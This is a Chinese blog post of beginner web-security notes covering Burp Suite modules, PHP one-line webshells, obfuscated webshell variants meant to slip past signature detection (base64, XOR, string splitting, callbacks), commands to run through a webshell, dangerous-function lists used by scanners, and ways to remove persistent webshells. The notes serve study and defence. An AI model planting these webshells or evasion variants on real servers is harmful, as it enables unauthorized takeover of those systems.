Loading

Web概要

Web概要

入门简介

一、Burpsuit 功能介绍

光标偏移问题:添加启动文件.bat,再调整字体大小

start javaw -Dsun.java2d.uiScale=1 -jar "路径\burpsuite_community.jar"

Proxy模块

image-20210307101138837

  • intercept:可以查看、修改http数据包的内容。可以把数据包发送到其他模块。

  • httphistory:查看所有经过代理服务器的数据流及详情。

  • WebSockets history:主要用于记录WebSockets的数据包。

  • options:对代理服务的一些设置,如:代理监听的端口、请求包的拦截规则等。

Repeater模块:重复攻击模块

Intruder模块:爆破模块

image-20210307104802521

Attacktype:image-20210307104845176

  1. sniper:依次破解
  2. Battering ram:同时破解
  3. Pitchfork:每个变量对应一个字典,取各自字典进行破解
  4. Cluster bomb:多个字典交叉组合进行破解,适用于破解用户名和密码

(community版不能设置多线程)

image-20210307105800738

Decoder模块:编码解码

可多次进行编码解码

二、一句话木马(php语言)

一句话木马,是个可执行文件,把脚本文件上传到目标服务器,然后文件缓解执行,就可以达到控制目标服务器的目的。

三个条件:

  1. 木马能成功上传到服务器

  2. 知道木马上传到服务器的路径

  3. 上传的木马能被解析执行

<?php@eval($_POST['cmd']);?>
  • <?php:代表这是一段php代码,php服务器识别到后开始解析执行

  • @:不报错

  • $_POST['cmd']:以POST方法获得参数

  • eval:将字符串按照php代码进行执行

传入cmd=phpinfo();检测php各种环境

<?php@eval("phpinfo();");?>

hackbar下载(2.1.3):https://github.com/Mr-xn/hackbar2.1.3

image-20210307134321108

eval 和 assert 的区别:

  • 相同点:都能把字符串作为php代码执行。
  • 不同点:eval()不能被可变函数调用,动态调用。eval()函数实际是一个语言构造器,相当于C语言中的预定义宏,属于php语言内部关键字。
  • php7.1以上assert已经被废弃

POST,GET,REQUEST区分

$_GET 变量接受所有以 get 方式发送的请求,及浏览器地址栏中的 ? 之后的内容。

$_POST 变量接受所有以 post 方式发送的请求,例如,一个 form 以 method=post 提交,提交后 php 会处理 post 过来的全部变量。

$_REQUEST 支持两种方式发送过来的请求,即 post 和 get 它都可以接受,显示不显示要看传递方法,get 会显示在 url 中(有字符数限制),post 不会在 url 中显示,可以传递任意多的数据(只要服务器支持)。

木马的变形:

传统的木马防护检测一般是基于特征检测的防护,如:正则表达式和黑名单。

思路:
  • 绕过php代码标志 <? 的限制:

    <script language="php">@eval($_POST['x'])</script>

  • 拆分拼接:

    <?php
    $arr = explode(",","a,s,d,f,s,d,e,k,r,t");//把字符串打散为数组
    $payload = $arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//拼接为assert
    //php版本要求<=7.0
    @$payload(@_GET['x']);
    ?>
    
  • 编码:

    <?php
    $a = base64_decode("YXNzZXJ0");
    @$a($_POST('cmd'));
    ?>
    
  • 随机异或,用异或运算来组成字符

    <?php
    //也可以用十六进制进行进一步加密,例如$r="x4d"^"x3f";
    $a="Y"^"8";//a
    $b="T"^"'";//s
    $c="*"^"O";//e
    $d="M"^"?";//r
    $e="-"^"Y";//t
    $payload=$a.$b.$b.$c.$d.$e;//拼接
    @$payload(@$_POST['x']);
    ?>
    
  • 可变函数

    <?php
    @$_REQUEST['e'](@$_REQUEST['x']);//传入e=assert&x=command
    ?>
    
  • 可变变量

    <?php
    $a='assert';
    $b='a';
    //$$b=$a='assert'
    $$b($_POST['x']);
    //assert($_POST['x'])
    ?>
    
回调函数:

call_user_func($callback,$parameter)

php是将函数以string形式传递的。可以使用任何内置或用户自定义函数,但除了语言结构例如:arry(),echo,empty(),exit(),isset(),list(),print,unset()

$callback:被调用的回调函数

$parameter:0个或以上的参数,被传入回调函数

<?php
@call_user_func($_GET['id'],$_POST['a']);
//传入id=eval&a=command
?>

其他回调函数:https://www.php.net/ 关键词搜索:called,callable,callback……

木马的使用:

  1. 执行系统命令:

    system():执行外部程序,并显示输出

    passthru():执行外部程序并且显示原始输出

    exec():执行一个外部程序,不输出结果,echo返回结果的最后一行

    shell_exec()' ':通过shell环境执行命令,需要echo

  2. 读文件:

    file_get_contents:将整个文件读入为一个字符串,需要echo

    file():把整个文件读入一个数组中,var_dump显示数组

    readfile:读取一个文件,并写入到输出缓冲

  3. 遍历目录:

    scandir():返回一个指定目录中的文件和目录的数组

image-20210307151705248

木马的特征与查杀(D盾)

  1. 代码执行函数:

    eval,assert,pre_replace,create_function,

    回调函数(call_user_func,call_user_func_array,register_tick_function,array_filter等)

  2. 命令执行函数:
    exec() 执行一个外部程序
    passthru() 执行外部程序并且显示原始输出
    proc_open() 执行命令,并且打开用来输入/输出的文件指针
    shell_exec()或' ' 通过shell环境执行命令
    system() 执行外部程序,并显示输出
    popen() 通过参数传递一条命令,并对popen打开的文件执行
  3. 文件操作函数:
    file_get_contents 将整个文件读入为一个字符串
    file_put_contents 将一个字符串写入文件
    file() 把整个文件读入到一个数组中
    fopen 打开文件或者URL
    move_uploaded file 将上传的文件移动到哦新位置
    readfile 读取一个文件,并写入到输出缓冲
    rename 重命名一个文件或目录
    rmdir 删除目录
    unlink & delete 删除文件
  4. 包含函数:

    require,require_once

    include,include_once

  5. 特殊函数:

    phpinfo()

    变量覆盖:parse_str,extract

    image-20210307155701031

不死马

image-20210307155855414

查杀不死马:

  1. 重启服务,比如:php等web服务
  2. 创建一个和不死马同名的文件夹,产生冲突
  3. 删除相应进程,查出不死马进程PID后,用命令kill - 9 PID杀掉进程
  4. 竞争写入一个删除不死马的文件,usleep的时间必须要小于不死马的延迟时间

三、antsword

工具原理:

上传的一句话木马为:<?php @eval($_POST['cmd']);?>

image-20210307163442248

posted @ 2021-03-07 16:56  Geaming  阅读(80)  评论(0编辑  收藏  举报